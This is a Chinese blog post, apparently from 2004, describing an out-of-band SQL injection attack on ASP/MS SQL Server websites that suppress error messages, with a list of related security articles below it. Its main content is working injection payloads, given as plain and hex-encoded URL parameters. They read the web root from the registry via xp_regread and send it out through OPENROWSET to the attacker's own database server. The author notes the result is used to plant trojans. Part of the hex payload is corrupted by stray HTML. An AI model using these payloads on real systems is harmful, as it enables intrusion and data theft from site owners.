跨站式SQL注入攻击

原创 2004年10月18日 00:15:00
前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。。因此我自己搞了一种“跨站式SQL注入”。。

  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。。。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。。

  第一个想法:   

  SQL可以连接外部的数据库。。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。。  

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。。  

  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。。  
  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。

  DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

  这段代码什么意思哪?就是把网站的路径信息写入数据库。。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。  

  SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:/Inetpub,,1''')AS a

  其中的C:/Inetpub,,1就是注册表记录的根目录,最后要做的是:

  DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

  这样就等于执行了

  SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:/Inetpub,,1''')AS a

  这一条语句。。。同时你会在事件探测器那边会显示  

  SELECT * FROM pubs.dbo.authors where au_fname='C:/Inetpub,,1'
  
  其中的C:/Inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。。某网站屏蔽了全部出错信息。。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?

  a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--   

  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:

  a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

  出错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?

  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。。

  a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%5F%66%6E%61%6D%65%3d/33.shtml' target='_blank' class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20

  执行成功。。。
  a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:

  
1089516220320.gif


  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。

  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'C:/Inetpub,,1'

防止SQL注入和XSS跨站攻击代码

这两天用360网站安全检测网站,检测出SQL注入漏洞和
  • jbb0403
  • jbb0403
  • 2014-07-03 09:45:50
  • 2365

sql注入和跨站脚本攻击等

网站Web攻击,主要有:sql注入,css攻击,跨站脚本攻击,挂马,缓冲区溢出等。         1.  sql注入:即通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最...
  • daiqinge
  • daiqinge
  • 2016-04-15 20:53:33
  • 2613

跨站式SQL注入技巧与防护

  • 2008年09月04日 23:07
  • 206KB
  • 下载

PHP解决Xss跨域攻击以及sql注入等危险字符串方案类库

由于该模块在项目中的要求是 不能提示任何信息,也不作断点操作,只作记录并且过滤危险参数。 主要功能:拦截攻击者注入恶意代码,可以防御诸如跨站脚本攻击(XSS)、SQL注入攻击等恶意攻击行为。 ...
  • u010349417
  • u010349417
  • 2014-03-13 18:09:55
  • 2378

网站跨站点脚本,Sql注入等攻击的处理

using System.Text.RegularExpressions; using System.Web; /// /// Web请求安全检查:防止跨站点脚本,Sql注入等攻击,来自:http...
  • a497785609
  • a497785609
  • 2014-04-16 17:14:29
  • 3041

个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷……其实攻击者进攻的手法很简单,没啥技术含量。只能感叹自己之前竟然完全没防范。 这是数据库里留下的一些记录。最后那人弄了一个无线循环弹出框的脚...
  • SonnAdolf
  • SonnAdolf
  • 2016-12-31 16:56:47
  • 824

xss攻击和SQL注入攻击

  • luan_tianjiao
  • luan_tianjiao
  • 2014-08-21 19:01:45
  • 1155

Web攻击手段之XSS攻击,CRSF, SQL注入攻击

Web攻击手段之XSS攻击,CRSF, SQL注入攻击       1.  XSS攻击        XSS攻击的全称是跨站脚本攻击,指的是攻击者在网页中嵌入恶意脚本程序,当用户打开该网页...
  • chenglinhust
  • chenglinhust
  • 2016-06-05 11:46:22
  • 1587

Web安全之XSS跨站脚本攻击

本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法。XSSXSS 攻击,全称是“跨站点脚本攻击”(Cross Site Scripting),...
  • mevicky
  • mevicky
  • 2015-08-26 09:06:30
  • 2836

I常见安全漏洞及修复方法

  • 2010年09月20日 14:15
  • 201KB
  • 下载
收藏助手
不良信息举报
您举报文章:跨站式SQL注入攻击
举报原因:
原因补充:

(最多只允许输入30个字)